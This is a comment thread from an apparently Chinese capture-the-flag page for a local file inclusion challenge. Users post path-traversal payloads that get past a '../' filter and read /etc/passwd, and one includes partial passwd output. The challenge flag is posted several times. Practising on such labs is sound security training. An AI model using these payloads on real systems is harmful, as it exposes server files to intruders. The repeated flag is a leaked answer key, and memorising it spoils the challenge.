lfiWEB 未解决

分数: 0 金币: 0
题目作者: 未知
一　　血: tzzzez
一血奖励: 0金币
解　　决: 786
提　　示:
描　　述:
We made some serious checks now, would you test it ?
...
登录回复
评论
hbesljx 1月前
举报

直接language=....//....//....//....//....//....//etc/passwd即可。..../过滤掉../后还是../

回复 0
1005667204 2月前
举报

使用?language=./language/..././..././..././..././..././..././..././etc/passwd或者使用双写?language=/languages/....//....//....//....//....//....//etc/passwd

回复 0
18993258097 2月前
举报

shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}

回复 0
菜鸡的小韩 2月前
举报

这是一个基本的绕过，因为 str_replace('../', '',$_GET['language'])这串代码../会被替换成空格，所以要进行一个绕过，用..././来代替../ 。url中写?language=./..././..././..././..././..././etc/passwd即可

回复 0
ABC第一深情 4月前
举报

/?language=/etc/passwd

回复 2
旦提 4月前
举报

直接用file:///etc/passwd居然也行 oAo

回复 0
XHTX 4月前
举报

?language=/languages//..//..//..//....//etc/passwd shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3} 就是这个样子

回复 0
868954104 7月前
举报

?language=/languages/....//....//....//....//etc/passwd

回复 0
868954104 7月前
举报

shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}

回复 1
yituoshi 8月前
举报

Half the truth is often a big lie: Look Here !!! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nol

回复 0

WriteUp

image
a2cai

2 金币

立即查看

评分(0)

暂无评分

解题动态

Cynthiazxyy 攻破了该题 1天前
ITONeal 攻破了该题 1天前
花和尚123 攻破了该题 1天前
yinbug 攻破了该题 2天前
15756309355 攻破了该题 2天前
2084083705 攻破了该题 3天前
竹盐笙熙 攻破了该题 3天前
langzifun 攻破了该题 3天前
codehub 攻破了该题 4天前
NeilOvO 攻破了该题 4天前
admin123456789qwer 攻破了该题 5天前
dulinping 攻破了该题 5天前
xky110 攻破了该题 5天前
miko88 攻破了该题 7天前
fallencliff 攻破了该题 7天前
花落时相遇 攻破了该题 8天前
awoawo 攻破了该题 8天前
大牛牛 攻破了该题 9天前
crushyjp 攻破了该题 9天前
bu5yer 攻破了该题 10天前